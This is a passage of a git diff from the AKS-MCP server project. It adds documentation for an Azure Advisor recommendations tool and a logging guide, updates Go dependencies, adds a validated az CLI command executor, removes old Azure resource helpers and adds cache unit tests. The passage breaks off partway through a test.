AKS-MCP server. + +## Tool Overview + +The `az_advisor_recommendation` tool provides Azure Advisor recommendations specifically for AKS clusters and related resources. It supports three main operations: + +- **list**: Return AKS-related recommendations with basic details +- **details**: Get comprehensive information for a specific recommendation +- **report**: Generate summary report of AKS recommendations by category + +## Prerequisites + +1. Azure CLI installed and authenticated +2. Access to Azure subscription with AKS clusters +3. AKS-MCP server running with appropriate access level (readonly or higher) + +## Usage Examples + +### 1. List All AKS Recommendations + +```json +{ + "operation": "list", + "subscription_id": "12345678-1234-1234-1234-123456789012" +} +``` + +### 2. List Cost Recommendations for Specific Resource Group + +```json +{ + "operation": "list", + "subscription_id": "12345678-1234-1234-1234-123456789012", + "resource_group": "my-aks-rg", + "category": "Cost" +} +``` + +### 3. List High-Priority Recommendations for Specific Clusters + +```json +{ + "operation": "list", + "subscription_id": "12345678-1234-1234-1234-123456789012", + "cluster_names": ["aks-prod-1", "aks-staging-2"], + "severity": "High" +} +``` + +### 4. Get Detailed Information for a Specific Recommendation + +```json +{ + "operation": "details", + "subscription_id": "12345678-1234-1234-1234-123456789012", + "recommendation_id": "/subscriptions/12345678-1234-1234-1234-123456789012/providers/Microsoft.Advisor/recommendations/abcd1234-5678-90ef-ghij-klmnopqrstuv" +} +``` + +### 5. Generate Summary Report + +```json +{ + "operation": "report", + "subscription_id": "12345678-1234-1234-1234-123456789012", + "format": "summary" +} +``` + +### 6. Generate Detailed Report for Resource Group + +```json +{ + "operation": "report", + "subscription_id": "12345678-1234-1234-1234-123456789012", + "resource_group": "production-aks", + "format": "detailed" +} +``` + +### 7. Generate Actionable Report + +```json +{ + "operation": "report", + "subscription_id": "12345678-1234-1234-1234-123456789012", + "format": "actionable" +} +``` + +## Expected Output Formats + +### List Operation Output + +```json +[ + { + "id": "/subscriptions/.../recommendations/rec1", + "category": "Cost", + "impact": "High", + "cluster_name": "aks-cluster-1", + "resource_group": "my-rg", + "impacted_resource": "/subscriptions/.../managedClusters/aks-cluster-1", + "description": "Underutilized AKS cluster nodes Consider reducing node count or using smaller VM sizes", + "severity": "High", + "last_updated": "2024-01-15T10:30:00Z", + "status": "Active", + "aks_specific": { + "configuration_area": "compute" + } + } +] +``` + +### Details Operation Output + +```json +{ + "id": "/subscriptions/.../recommendations/rec1", + "category": "Cost", + "impact": "High", + "cluster_name": "aks-cluster-1", + "resource_group": "my-rg", + "impacted_resource": "/subscriptions/.../managedClusters/aks-cluster-1", + "description": "Detailed recommendation description with implementation guidance", + "severity": "High", + "potential_savings": { + "currency": "USD", + "annual_savings": 1200.00, + "monthly_savings": 100.00 + }, + "last_updated": "2024-01-15T10:30:00Z", + "status": "Active", + "aks_specific": { + "cluster_version": "1.28.5", + "node_pool_names": ["nodepool1", "nodepool2"], + "workload_type": "production", + "configuration_area": "compute" + } +} +``` + +### Report Operation Output + +```json +{ + "subscription_id": "12345678-1234-1234-1234-123456789012", + "generated_at": "2024-07-08T19:30:00Z", + "summary": { + "total_recommendations": 5, + "by_category": { + "Cost": 2, + "Security": 2, + "Performance": 1 + }, + "by_severity": { + "High": 2, + "Medium": 2, + "Low": 1 + }, + "clusters_affected": 3 + }, + "recommendations": [...], + "action_items": [ + { + "priority": 1, + "recommendation_id": "/subscriptions/.../recommendations/rec1", + "cluster_name": "aks-cluster-1", + "category": "Cost", + "description": "High-priority cost optimization", + "estimated_effort": "Medium", + "potential_impact": "High" + } + ], + "cluster_breakdown": [ + { + "cluster_name": "aks-cluster-1", + "resource_group": "my-rg", + "recommendations": [...], + "total_savings": { + "currency": "USD", + "annual_savings": 1200.00, + "monthly_savings": 100.00 + } + } + ] +} +``` + +## Filtering Options + +### By Category +- `Cost`: Cost optimization recommendations +- `HighAvailability`: High availability and reliability improvements +- `Performance`: Performance optimization suggestions +- `Security`: Security and compliance recommendations + +### By Severity +- `High`: High-impact recommendations requiring immediate attention +- `Medium`: Medium-impact recommendations for planned implementation +- `Low`: Low-impact recommendations for future consideration + +### By Resource Scope +- `subscription_id`: Required - Azure subscription to query +- `resource_group`: Optional - Filter to specific resource group +- `cluster_names`: Optional - Array of specific AKS cluster names + +## Access Levels + +- **Readonly**: All operations supported (list, details, report) +- **Readwrite**: Enhanced filtering and custom report options +- **Admin**: Same as readwrite (no admin-specific operations for advisor) + +## Error Handling + +The tool provides meaningful error messages for common scenarios: + +- Missing required parameters +- Invalid operation types +- Azure CLI authentication issues +- Non-existent recommendation IDs +- Invalid subscription or resource group access + +## Integration with Other Tools + +The Azure Advisor tool can be used in conjunction with other AKS-MCP tools: + +1. Use AKS cluster listing tools to identify cluster names +2. Use network tools to understand infrastructure context +3. Use monitoring tools to correlate recommendations with performance data + +## Best Practices + +1. **Regular Reviews**: Schedule periodic runs to check for new recommendations +2. **Priority Focus**: Address high-severity recommendations first +3. **Cost Monitoring**: Use cost category filtering to identify savings opportunities +4. **Security Posture**: Regularly review security recommendations +5. **Documentation**: Keep track of implemented recommendations and their outcomes + +## Troubleshooting + +### Common Issues + +1. **"No recommendations found"**: + - Verify Azure CLI authentication + - Check subscription access + - Ensure AKS clusters exist in the subscription + +2. **"Command execution failed"**: + - Verify Azure CLI is installed and updated + - Check network connectivity to Azure + - Verify proper permissions + +3. **"Invalid recommendation ID"**: + - Use the exact ID from list operation + - Ensure recommendation hasn't been dismissed or resolved + +For additional support, check the Azure Advisor documentation and AKS-MCP server logs. diff --git a/docs/logging.md b/docs/logging.md new file mode 100644 index 0000000..4716238 --- /dev/null +++ b/docs/logging.md @@ -0,0 +1,142 @@ +# Logging in AKS-MCP Tools + +This document explains how to implement and use logging in the AKS-MCP server tools. + +## Overview + +The AKS-MCP server uses Go's standard `log` package for logging. Logs are written to stderr by default, which allows the MCP client to see them during development and debugging. + +## How to Add Logging + +### 1. Import the log package + +```go +import ( + "log" + // ... other imports +) +``` + +### 2. Add logging statements + +Use structured logging with prefixes to identify different components: + +```go +// Info logging +log.Printf("[ADVISOR] Handling operation: %s", operation) +log.Printf("[ADVISOR] Found %d recommendations", len(recommendations)) + +// Error logging +log.Printf("[ADVISOR] Failed to execute command: %v", err) + +// Debug logging +log.Printf("[ADVISOR] Command output length: %d characters", len(output)) +``` + +### 3. Logging Best Practices + +#### Use Component Prefixes +- `[ADVISOR]` - Azure Advisor recommendations +- `[AKS]` - AKS cluster operations +- `[NETWORK]` - Network-related operations +- `[SECURITY]` - Security validation +- `[CACHE]` - Cache operations + +#### Log Levels +- **Info**: Normal operations, important state changes +- **Error**: Error conditions, failures +- **Debug**: Detailed information for troubleshooting + +#### Examples + +```go +// Good logging examples +log.Printf("[ADVISOR] Starting recommendation list for subscription: %s", subscriptionID) +log.Printf("[ADVISOR] Found %d total recommendations, %d AKS-related", total, aksCount) +log.Printf("[ADVISOR] Command execution failed: %v", err) + +// Avoid logging sensitive information +log.Printf("[ADVISOR] Processing subscription: %s", subscriptionID) // OK +log.Printf("[ADVISOR] Using token: %s", token) // BAD - don't log secrets +``` + +## Viewing Logs + +### In VS Code with MCP Extension +When you run MCP tools through VS Code, logs will appear in: +1. The VS Code Developer Console (Help > Toggle Developer Tools) +2. The MCP extension output panel + +### In Terminal +If you run the MCP server directly: +```bash +./aks-mcp.exe --transport stdio 2>debug.log +``` + +### In Production +For production deployments, consider: +- Using structured logging (JSON format) +- Log rotation +- Centralized logging systems +- Different log levels for different environments + +## Current Implementation + +The Azure Advisor tool now includes comprehensive logging: + +1. **Operation tracking**: Logs which operation is being performed +2. **Parameter validation**: Logs missing or invalid parameters +3. **Command execution**: Logs Azure CLI commands being executed +4. **Result processing**: Logs filtering and transformation steps +5. **Error handling**: Logs all error conditions with context + +## Example Output + +``` +[ADVISOR] Handling operation: list +[ADVISOR] Listing recommendations for subscription: c4528d9e-c99a-48bb-b12d-fde2176a43b8, resource_group: thomas, category: , severity: +[ADVISOR] Executing command: az advisor recommendation list --subscription c4528d9e-c99a-48bb-b12d-fde2176a43b8 --resource-group thomas --output json +[ADVISOR] Command output length: 2 characters +[ADVISOR] Successfully parsed 0 recommendations from CLI output +[ADVISOR] Found 0 total recommendations +[ADVISOR] Found 0 AKS-related recommendations +[ADVISOR] Returning 0 recommendation summaries +``` + +## Adding Logging to New Tools + +When creating new MCP tools, follow this pattern: + +```go +func HandleNewTool(params map[string]interface{}, cfg *config.ConfigData) (string, error) { + // Log the start of the operation + log.Printf("[NEWTOOL] Starting operation with params: %v", params) + + // Validate parameters with logging + requiredParam, ok := params["required_param"].(string) + if !ok { + log.Println("[NEWTOOL] Missing required_param parameter") + return "", fmt.Errorf("required_param parameter is required") + } + + // Log important steps + log.Printf("[NEWTOOL] Processing with parameter: %s", requiredParam) + + // Execute operations with error logging + result, err := someOperation(requiredParam) + if err != nil { + log.Printf("[NEWTOOL] Operation failed: %v", err) + return "", fmt.Errorf("operation failed: %w", err) + } + + // Log successful completion + log.Printf("[NEWTOOL] Operation completed successfully") + return result, nil +} +``` + +This logging approach helps with: +- Debugging issues during development +- Monitoring tool usage in production +- Understanding performance characteristics +- Troubleshooting user-reported problems diff --git a/go.mod b/go.mod index b450783..6180853 100644 --- a/go.mod +++ b/go.mod @@ -1,24 +1,27 @@ -module github.com/azure/aks-mcp +module github.com/Azure/aks-mcp -go 1.24.2 +go 1.23.0 + +toolchain go1.24.2 require ( - github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.0 + github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0 + github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2 v2.4.0 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork/v2 v2.2.1 - github.com/mark3labs/mcp-go v0.30.0 + github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 + github.com/mark3labs/mcp-go v0.33.0 github.com/spf13/pflag v1.0.6 ) require ( - github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0 // indirect github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1 // indirect github.com/AzureAD/microsoft-authentication-library-for-go v1.4.2 // indirect github.com/golang-jwt/jwt/v5 v5.2.2 // indirect github.com/google/uuid v1.6.0 // indirect github.com/kylelemons/godebug v1.1.0 // indirect github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c // indirect - github.com/spf13/cast v1.7.1 // indirect + github.com/spf13/cast v1.8.0 // indirect github.com/yosida95/uritemplate/v3 v3.0.2 // indirect golang.org/x/crypto v0.38.0 // indirect golang.org/x/net v0.40.0 // indirect diff --git a/go.sum b/go.sum index 5434829..83b643a 100644 --- a/go.sum +++ b/go.sum @@ -1,7 +1,7 @@ github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0 h1:Gt0j3wceWMwPmiazCa8MzMA0MfhmPIz0Qp0FJ6qcM0U= github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0/go.mod h1:Ot/6aikWnKWi4l9QB7qVSwa8iMphQNqkWALMoNT3rzM= -github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.0 h1:j8BorDEigD8UFOSZQiSqAMOOleyQOOQPnUAwV+Ls1gA= -github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.0/go.mod h1:JdM5psgjfBf5fo2uWOZhflPWyDBZ/O/CNAH9CtsuZE4= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1 h1:B+blDbyVIG3WaikNxPnhPiJ1MThR03b3vKGtER95TP4= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1/go.mod h1:JdM5psgjfBf5fo2uWOZhflPWyDBZ/O/CNAH9CtsuZE4= github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2 h1:yz1bePFlP5Vws5+8ez6T3HWXPmwOK7Yvq8QxDBD3SKY= github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2/go.mod h1:Pa9ZNPuoNu/GztvBSKk9J1cDJW6vk/n0zLtV4mgd8N8= github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1 h1:FPKJS1T+clwv+OLGt13a8UjqeRuh0O4SJ3lUriThc+4= @@ -30,6 +30,8 @@ github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeD github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/keybase/go-keychain v0.0.1 h1:way+bWYa6lDppZoZcgMbYsvC7GxljxrskdNInRtuthU= @@ -40,8 +42,8 @@ github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= -github.com/mark3labs/mcp-go v0.30.0 h1:Taz7fiefkxY/l8jz1nA90V+WdM2eoMtlvwfWforVYbo= -github.com/mark3labs/mcp-go v0.30.0/go.mod h1:rXqOudj/djTORU/ThxYx8fqEVj/5pvTuuebQ2RC7uk4= +github.com/mark3labs/mcp-go v0.33.0 h1:naxhjnTIs/tyPZmWUZFuG0lDmdA6sUyYGGf3gsHvTCc= +github.com/mark3labs/mcp-go v0.33.0/go.mod h1:rXqOudj/djTORU/ThxYx8fqEVj/5pvTuuebQ2RC7uk4= github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c h1:+mdjkGKdHQG3305AYmdv1U2eRNDiU2ErMBj1gwrq8eQ= github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c/go.mod h1:7rwL4CYBLnjLxUqIJNnCWiEdr3bn6IUYi15bNlnbCCU= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= @@ -50,8 +52,8 @@ github.com/redis/go-redis/v9 v9.8.0 h1:q3nRvjrlge/6UD7eTu/DSg2uYiU2mCL0G/uzBWqhi github.com/redis/go-redis/v9 v9.8.0/go.mod h1:huWgSWd8mW6+m0VPhJjSSQ+d6Nh1VICQ6Q5lHuCH/Iw= github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= -github.com/spf13/cast v1.7.1 h1:cuNEagBQEHWN1FnbGEjCXL2szYEXqfJPbP2HNUaca9Y= -github.com/spf13/cast v1.7.1/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= +github.com/spf13/cast v1.8.0 h1:gEN9K4b8Xws4EX0+a0reLmhq8moKn7ntRlQYgjPeCDk= +github.com/spf13/cast v1.8.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o= github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= diff --git a/internal/azcli/executor.go b/internal/azcli/executor.go new file mode 100644 index 0000000..5dbed95 --- /dev/null +++ b/internal/azcli/executor.go @@ -0,0 +1,114 @@ +package azcli + +import ( + "fmt" + "strings" + + "github.com/Azure/aks-mcp/internal/command" + "github.com/Azure/aks-mcp/internal/config" + "github.com/Azure/aks-mcp/internal/security" + "github.com/Azure/aks-mcp/internal/tools" +) + +// AzExecutor implements the CommandExecutor interface for az commands +type AzExecutor struct{} + +// This line ensures AzExecutor implements the CommandExecutor interface +var _ tools.CommandExecutor = (*AzExecutor)(nil) + +// NewExecutor creates a new AzExecutor instance +func NewExecutor() *AzExecutor { + return &AzExecutor{} +} + +// Execute handles general az command execution +func (e *AzExecutor) Execute(params map[string]interface{}, cfg *config.ConfigData) (string, error) { + azCmd, ok := params["command"].(string) + if !ok { + return "", fmt.Errorf("invalid command parameter") + } + + // Validate the command against security settings + validator := security.NewValidator(cfg.SecurityConfig) + err := validator.ValidateCommand(azCmd, security.CommandTypeAz) + if err != nil { + return "", err + } + + // Extract binary name and arguments from command + cmdParts := strings.Fields(azCmd) + if len(cmdParts) == 0 { + return "", fmt.Errorf("empty command") + } + + // Use the first part as the binary name + binaryName := cmdParts[0] + + // The rest of the command becomes the arguments + cmdArgs := "" + if len(cmdParts) > 1 { + cmdArgs = strings.Join(cmdParts[1:], " ") + } + + // If the command is not an az command, return an error + if binaryName != "az" { + return "", fmt.Errorf("command must start with 'az'") + } + + // Execute the command + process := command.NewShellProcess(binaryName, cfg.Timeout) + return process.Run(cmdArgs) +} + +// ExecuteSpecificCommand executes a specific az command with the given arguments +func (e *AzExecutor) ExecuteSpecificCommand(cmd string, params map[string]interface{}, cfg *config.ConfigData) (string, error) { + args, ok := params["args"].(string) + if !ok { + args = "" + } + + fullCmd := cmd + if args != "" { + fullCmd += " " + args + } + + // Validate the command against security settings + validator := security.NewValidator(cfg.SecurityConfig) + err := validator.ValidateCommand(fullCmd, security.CommandTypeAz) + if err != nil { + return "", err + } + + // Extract binary name from command (should be "az") + cmdParts := strings.Fields(fullCmd) + if len(cmdParts) == 0 { + return "", fmt.Errorf("empty command") + } + + // Use the first part as the binary name + binaryName := cmdParts[0] + + // The rest of the command becomes the arguments + cmdArgs := "" + if len(cmdParts) > 1 { + cmdArgs = strings.Join(cmdParts[1:], " ") + } + + // If the command is not an az command, return an error + if binaryName != "az" { + return "", fmt.Errorf("command must start with 'az'") + } + + // Execute the command + process := command.NewShellProcess(binaryName, cfg.Timeout) + return process.Run(cmdArgs) +} + +// CreateCommandExecutorFunc creates a CommandExecutor for a specific az command +func CreateCommandExecutorFunc(cmd string) tools.CommandExecutorFunc { + f := func(params map[string]interface{}, cfg *config.ConfigData) (string, error) { + executor := NewExecutor() + return executor.ExecuteSpecificCommand(cmd, params, cfg) + } + return tools.CommandExecutorFunc(f) +} diff --git a/internal/azure/provider.go b/internal/azure/provider.go deleted file mode 100644 index 3702668..0000000 --- a/internal/azure/provider.go +++ /dev/null @@ -1,37 +0,0 @@ -// Package azure provides functionality for interacting with Azure. -package azure - -// Provider defines an interface for accessing Azure resources. -type AzureProvider interface { - GetClient() *AzureClient - GetCache() *AzureCache -} - -// AzureResourceProvider provides access to Azure resources. -type AzureResourceProvider struct { - resourceID *AzureResourceID - client *AzureClient - cache *AzureCache -} - -// Compile-time check that AzureResourceProvider implements AzureProvider -var _ AzureProvider = (*AzureResourceProvider)(nil) - -// NewAzureResourceProvider creates a new Azure resource provider. -func NewAzureResourceProvider(resourceID *AzureResourceID, client *AzureClient, cache *AzureCache) *AzureResourceProvider { - return &AzureResourceProvider{ - resourceID: resourceID, - client: client, - cache: cache, - } -} - -// GetClient returns the Azure client. -func (p *AzureResourceProvider) GetClient() *AzureClient { - return p.client -} - -// GetCache returns the cache. -func (p *AzureResourceProvider) GetCache() *AzureCache { - return p.cache -} diff --git a/internal/azure/resourcehelpers/common.go b/internal/azure/resourcehelpers/common.go deleted file mode 100644 index 4895d7e..0000000 --- a/internal/azure/resourcehelpers/common.go +++ /dev/null @@ -1,16 +0,0 @@ -// Package resourcehelpers provides helper functions for working with Azure resources in AKS MCP server. -package resourcehelpers - -// ResourceType represents the type of Azure resource. -type ResourceType string - -const ( - // ResourceTypeVirtualNetwork represents a virtual network resource. - ResourceTypeVirtualNetwork ResourceType = "VirtualNetwork" - // ResourceTypeSubnet represents a subnet resource. - ResourceTypeSubnet ResourceType = "Subnet" - // ResourceTypeRouteTable represents a route table resource. - ResourceTypeRouteTable ResourceType = "RouteTable" - // ResourceTypeNetworkSecurityGroup represents a network security group resource. - ResourceTypeNetworkSecurityGroup ResourceType = "NetworkSecurityGroup" -) diff --git a/internal/azure/resourceid.go b/internal/azure/resourceid.go deleted file mode 100644 index 1f5fa93..0000000 --- a/internal/azure/resourceid.go +++ /dev/null @@ -1,137 +0,0 @@ -// Package azure provides Azure SDK integration for AKS MCP server. -package azure - -import ( - "errors" - "fmt" - "strings" -) - -// ResourceType represents an Azure resource type -type ResourceType string - -// Known Azure resource types -const ( - ResourceTypeAKSCluster ResourceType = "Microsoft.ContainerService/managedClusters" - ResourceTypeVirtualNetwork ResourceType = "Microsoft.Network/virtualNetworks" - ResourceTypeRouteTable ResourceType = "Microsoft.Network/routeTables" - ResourceTypeSecurityGroup ResourceType = "Microsoft.Network/networkSecurityGroups" - ResourceTypeSubnet ResourceType = "Microsoft.Network/virtualNetworks/subnets" - ResourceTypeUnknown ResourceType = "Unknown" -) - -// AzureResourceID represents an Azure resource ID. -type AzureResourceID struct { - SubscriptionID string - ResourceGroup string - ResourceType ResourceType - ResourceName string - SubResourceName string // Used for child resources like subnets - FullID string -} - -// ParseAzureResourceID parses an Azure resource ID into its components. -func ParseAzureResourceID(resourceID string) (*AzureResourceID, error) { - return ParseResourceID(resourceID) -} - -// ParseResourceID parses an Azure resource ID into its components. -func ParseResourceID(resourceID string) (*AzureResourceID, error) { - if resourceID == "" { - return nil, errors.New("resource ID cannot be empty") - } - - // Normalize the resource ID - resourceID = strings.TrimSpace(resourceID) - - // Azure resource IDs have the format: - // /subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/{resourceProvider}/{resourceType}/{resourceName} - // Or for child resources: - // /subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/{resourceProvider}/{resourceType}/{resourceName}/{childType}/{childName} - segments := strings.Split(resourceID, "/") - - // A valid resourceID should have at least 9 segments (including empty segments at the start) - if len(segments) < 9 { - return nil, fmt.Errorf("invalid resource ID format: %s", resourceID) - } - - // Check that the resource ID follows the expected pattern - if segments[1] != "subscriptions" || segments[3] != "resourceGroups" || segments[5] != "providers" { - return nil, fmt.Errorf("invalid resource ID format: %s", resourceID) - } - - result := &AzureResourceID{ - SubscriptionID: segments[2], - ResourceGroup: segments[4], - FullID: resourceID, - } - - // Determine the resource type and name based on the provider and resource type - provider := segments[6] - - // Handle different resource types - switch { - case provider == "Microsoft.ContainerService" && segments[7] == "managedClusters" && len(segments) >= 9: - result.ResourceType = ResourceTypeAKSCluster - result.ResourceName = segments[8] - - case provider == "Microsoft.Network" && segments[7] == "virtualNetworks" && len(segments) >= 9: - // Check if this is a subnet (child resource of VNet) - if len(segments) >= 11 && segments[9] == "subnets" { - result.ResourceType = ResourceTypeSubnet - result.ResourceName = segments[8] - result.SubResourceName = segments[10] - } else { - result.ResourceType = ResourceTypeVirtualNetwork - result.ResourceName = segments[8] - } - - case provider == "Microsoft.Network" && segments[7] == "routeTables" && len(segments) >= 9: - result.ResourceType = ResourceTypeRouteTable - result.ResourceName = segments[8] - - case provider == "Microsoft.Network" && segments[7] == "networkSecurityGroups" && len(segments) >= 9: - result.ResourceType = ResourceTypeSecurityGroup - result.ResourceName = segments[8] - - default: - // For unsupported or unknown resource types, we'll still try to extract the basic info - if len(segments) >= 9 { - result.ResourceType = ResourceType(fmt.Sprintf("%s/%s", provider, segments[7])) - result.ResourceName = segments[8] - // If there's a sub-resource and it has a name - if len(segments) >= 11 { - result.SubResourceName = segments[10] - } - } else { - result.ResourceType = ResourceTypeUnknown - } - } - - return result, nil -} - -// IsAKSCluster returns true if the resource is an AKS cluster. -func (r *AzureResourceID) IsAKSCluster() bool { - return r.ResourceType == ResourceTypeAKSCluster -} - -// IsVirtualNetwork returns true if the resource is a virtual network. -func (r *AzureResourceID) IsVirtualNetwork() bool { - return r.ResourceType == ResourceTypeVirtualNetwork -} - -// IsRouteTable returns true if the resource is a route table. -func (r *AzureResourceID) IsRouteTable() bool { - return r.ResourceType == ResourceTypeRouteTable -} - -// IsSecurityGroup returns true if the resource is a network security group. -func (r *AzureResourceID) IsSecurityGroup() bool { - return r.ResourceType == ResourceTypeSecurityGroup -} - -// IsSubnet returns true if the resource is a subnet. -func (r *AzureResourceID) IsSubnet() bool { - return r.ResourceType == ResourceTypeSubnet -} diff --git a/internal/azure/cache.go b/internal/azureclient/cache.go similarity index 86% rename from internal/azure/cache.go rename to internal/azureclient/cache.go index adc8770..d5ebade 100644 --- a/internal/azure/cache.go +++ b/internal/azureclient/cache.go @@ -1,5 +1,4 @@ -// Package azure provides Azure SDK integration for AKS MCP server. -package azure +package azureclient import ( "sync" @@ -19,11 +18,11 @@ type cacheItem struct { expiration time.Time } -// NewAzureCache creates a new cache with the default timeout. -func NewAzureCache() *AzureCache { +// NewAzureCache creates a new cache with the specified timeout. +func NewAzureCache(timeout time.Duration) *AzureCache { return &AzureCache{ data: make(map[string]cacheItem), - defaultTimeout: 5 * time.Minute, // Default 5 minute cache timeout + defaultTimeout: timeout, } } diff --git a/internal/azureclient/cache_test.go b/internal/azureclient/cache_test.go new file mode 100644 index 0000000..16fd442 --- /dev/null +++ b/internal/azureclient/cache_test.go @@ -0,0 +1,164 @@ +package azureclient + +import ( + "fmt" + "testing" + "time" + + "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2" +) + +func TestAzureCache_SetAndGet(t *testing.T) { + cache := NewAzureCache(5 * time.Minute) + + // Test setting and getting a value + key := "test-key" + value := "test-value" + cache.Set(key, value) + + retrieved, found := cache.Get(key) + if !found { + t.Errorf("Expected to find cached value, but it was not found") + } + + if retrieved != value { + t.Errorf("Expected retrieved value to be %v, got %v", value, retrieved) + } +} + +func TestAzureCache_GetNonExistent(t *testing.T) { + cache := NewAzureCache(5 * time.Minute) + + // Test getting a non-existent value + retrieved, found := cache.Get("non-existent-key") + if found { + t.Errorf("Expected not to find cached value, but it was found") + } + + if retrieved != nil { + t.Errorf("Expected retrieved value to be nil, got %v", retrieved) + } +} + +func TestAzureCache_Expiration(t *testing.T) { + // Create cache with very short timeout for testing + cache := NewAzureCache(50 * time.Millisecond) + + key := "test-key" + value := "test-value" + cache.Set(key, value) + + // Value should be there immediately + retrieved, found := cache.Get(key) + if !found { + t.Errorf("Expected to find cached value immediately after setting") + } + if retrieved != value { + t.Errorf("Expected retrieved value to be %v, got %v", value, retrieved) + } + + // Wait for expiration + time.Sleep(100 * time.Millisecond) + + // Value should be expired now + retrieved, found = cache.Get(key) + if found { + t.Errorf("Expected cached value to be expired, but it was found") + } + if retrieved != nil { + t.Errorf("Expected retrieved value to be nil after expiration, got %v", retrieved) + } +} + +func TestAzureCache_Clear(t *testing.T) { + cache := NewAzureCache(5 * time.Minute) + + // Set multiple values + cache.Set("key1", "value1") + cache.Set("key2", "value2") + cache.Set("key3", "value3") + + // Verify they exist + if _, found := cache.Get("key1"); !found { + t.Errorf("Expected key1 to be found before clear") + } + + // Clear cache + cache.Clear() + + // Verify they're gone + if _, found := cache.Get("key1"); found { + t.Errorf("Expected key1 to be gone after clear") + } + if _, found := cache.Get("key2"); found { + t.Errorf("Expected key2 to be gone after clear") + } + if _, found := cache.Get("key3"); found { + t.Errorf("Expected key3 to be gone after clear") + } +} + +func TestAzureCache_ComplexTypes(t *testing.T) { + cache := NewAzureCache(5 * time.Minute) + + // Test with a complex Azure type + cluster := &armcontainerservice.ManagedCluster{ + Name: stringPtr("test-cluster"), + Location: stringPtr("eastus"), + } + + key := "cluster-key" + cache.Set(key, cluster) + + retrieved, found := cache.Get(key) + if !found { + t.Errorf("Expected to find cached cluster") + } + + retrievedCluster, ok := retrieved.(*armcontainerservice.ManagedCluster) + if !ok { + t.Errorf("Expected retrieved 